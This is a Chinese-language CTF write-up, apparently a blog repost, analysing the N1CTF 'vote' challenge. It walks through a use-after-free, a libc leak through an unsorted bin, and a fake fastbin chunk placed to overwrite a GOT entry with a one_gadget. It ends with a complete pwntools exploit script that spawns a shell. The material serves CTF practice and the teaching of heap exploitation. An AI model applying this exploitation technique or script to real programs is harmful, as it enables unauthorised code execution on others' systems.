博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
N1CTF 塞题vote分析
阅读量:6719 次
发布时间:2019-06-25

本文共 3726 字,大约阅读时间需要 12 分钟。

 

  N1CTF 塞题vote分析:这个题是一个uaf的漏洞题,我们先看看漏洞(如下图),这两部分是很明显的对比的啊。当单独的一个count数组的数据和堆里的数据相同时候,就会释放堆,堆释放后的count还会有指针指向这块内存,释放后我们能够(通过vote)修改数据,典型的uaf。那么我们修改构造(fd)的数据时候,下次申请特定地址的内存的时候,就可以对特定内存进行修改的。

  

这里的sleep()函数,pthread_create每次调用,都会sleep3秒,所以用脚本vote和cancel的时候总是导致无法触发uaf,调试时候需要在脚本中用time.sleep(3)来完成。

    

 count数组的数值和堆里的fd数值保持一致。

  

 

   

 

我们先来看几个函数,虽然不一定是核心函数,但可以增长知识哈:

void *memset(void *s, int ch, n);
函数解释:将s中当前位置后面的n个字节 (typedef unsigned int size_t )用 ch 替换并返回 s 。

memset:作用是在一段内存块中填充某个给定的值,它是对较大的或进行清零操作的一种最快方法

 

解题过程:

结构体:

    {
        long int count  (malloc data)
        long int time    (malloc data+8)
        char name        (malloc data+16)        
    }

  

三个位置分别为count,time,name。

 

构造伪堆,主要构造size和fd的数据:

  

 

 具体利用过程:

  一、leak地址:

  通过申请0x80(+0x20的堆头)的堆,释放成unsortbins,成双向链表,fd和bk指向main_arena+88,在通过与libc的偏移计算出libc。

  

 

二、构造伪堆:

构造好了伪造的fd之后,如果直接用pthread的地址做伪堆的地址话,会由于size检查导致分配失败。 哦,对了申请了两次伪堆,第一次是为了填充到我们的got表的地址而申请的,方法是在堆的24字节之后伪造堆,第二次是直接向共同表写入数据。 

 

 

 

 

  

那么我们来找合适的size

 

 找到合适的size了(如下图),我们需要构造了伪堆的位置就是0x601ffa了。

 

 

成功修改了got的地址为我们的one_gadget的地址了,下面就是执行vote,触发one_gadget执行了。

 

 

利用思路总结

1.首先leak出libc的地址,通过unsorted bin泄露出其中fd(count)的数据,即是main_arena +88,然后通过偏移计算libc的地址。

2.通过修改fastbin的fd,构造伪堆,伪堆在got_pthread的附近,然后写入数据,修改got_pthread为one_gadget的地址。

3.通过vote函数,触发pthread函数,即执行了one_gadget的命令。

 

exp如下:

 

1 #!/usr/bin/env python  2 from pwn import*  3 import time  4   5 local =1  6 debug = 1  7   8 if local:  9     p = process('./vote') 10  11 else: 12     p = remote("127.0.0.1",8080) 13  14 #context.log_level = 'debug' 15  16 def create(num,name): 17     p.recvuntil("Action:") 18     p.sendline("0") 19     p.recvuntil("Please enter the name's size:") 20     p.sendline(str(num)) 21     p.recvuntil("Please enter the name: ") 22     p.sendline(name) 23  24 def show(num): 25     p.recvuntil("Action:") 26     p.sendline("1") 27     p.recvuntil("Please enter the index:") 28     p.sendline(str(num)) 29  30 def vote(num): 31     p.recvuntil("Action:") 32     p.sendline("2") 33     p.recvuntil("Please enter the index:") 34     p.sendline(str(num)) 35  36 def cancel(num): 37     p.recvuntil("Action:") 38     p.sendline("4") 39     p.recvuntil("Please enter the index:") 40     p.sendline(str(num)) 41 def result(): 42     p.recvuntil("Action:") 43     p.sendline("3") 44  45 def add(num,i): 46     for i in range(0,i): 47         vote(str(num)) 48  49 #---------------leak addr---------------------------- 50  51 libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") 52 ppp = libc.symbols['write'] 53 print "write=",hex(ppp) 54  55 #print "HHHHHHHHHHHHHHHHHHHHHHHHHHHHHH" 56 #raw_input() 57  58  59 create(0x80,"AAAA") 60 create(0x80,"BBBB") 61 cancel(0) 62  63 #add(0,16) 64 #vote(0) 65 #time.sleep(4) 66 show(0) 67  68 p.recvuntil("count:") 69 main_arena = p.recv(16) 70 #main_arena = p.read(15) 71 print"main_arena =",str(main_arena) 72  73 libc_addr = int(main_arena)-0x3c4b78   74 one = libc_addr + 0x4526a 75  76 print "libc_addr=",hex(libc_addr) 77 print "one=",hex(one) 78  79  80  81 #time.sleep(5) 82  83 #---------------fake heap---------------------------- 84 #add(0,16) 85 got_pthread = 0x601ffa #0x602020 86 print "got_pthread:",hex(got_pthread) 87  88 payload = p64(0x60)+p64(got_pthread) +p64(0xabcdef) 89  90 create(0x40,payload) 91 create(0x40,"DDDD") 92  93 cancel(2) 94 cancel(3) 95  96 add(3,24) 97 create(0x40,"FF") 98  99 #---------------shellcode----------------------------100 101 #write = libc_addr +0x3da490102 write = libc_addr +libc.symbols['write']103 #strlen = libc_addr +0x8b720104 strlen = libc_addr +libc.symbols['strlen']105 shellcode =  "AAAAAA"+ p64(one) + p64(write) + p64(strlen)106 #shellcode = "AAAAAA"107 108 create(0x40,"GG")109 110 create(0x40,shellcode)111 112 vote(0)113 114 115 #gdb.attach(p)116 p.interactive()

 

转载于:https://www.cnblogs.com/Yable/p/8824590.html

你可能感兴趣的文章
audio音频暂停和播放
查看>>
Windows下安装Python requests模块
查看>>
java图形用户界面边界布局管理器
查看>>
java web 程序---注册页面密码验证
查看>>
Linux修改环境变量步骤
查看>>
PyQt4 / PyQt5
查看>>
使用vue开发输入型组件更好的一种解决方式(子组件向父组件传值,基于2.2.0)
查看>>
linux 服务器安装 nginx
查看>>
108. Convert Sorted Array to Binary Search Tree
查看>>
Android 学习开发笔记《Service 与 Thread 的区别 》
查看>>
grep:Binary file (standard input) matches
查看>>
云计算
查看>>
centos7.2下部署 python3
查看>>
Shell 编程(实例一)
查看>>
C++Primer笔记——文本查询程序(原创,未使用类)
查看>>
Matplotlib 知识点整理
查看>>
Django问题 TypeError: __init__() missing 1 required positional argument: 'on_delete'
查看>>
面向对象(上)之一
查看>>
Spring学习篇:AOP知识整理
查看>>
jq 获取各个元素的宽度高度的方法
查看>>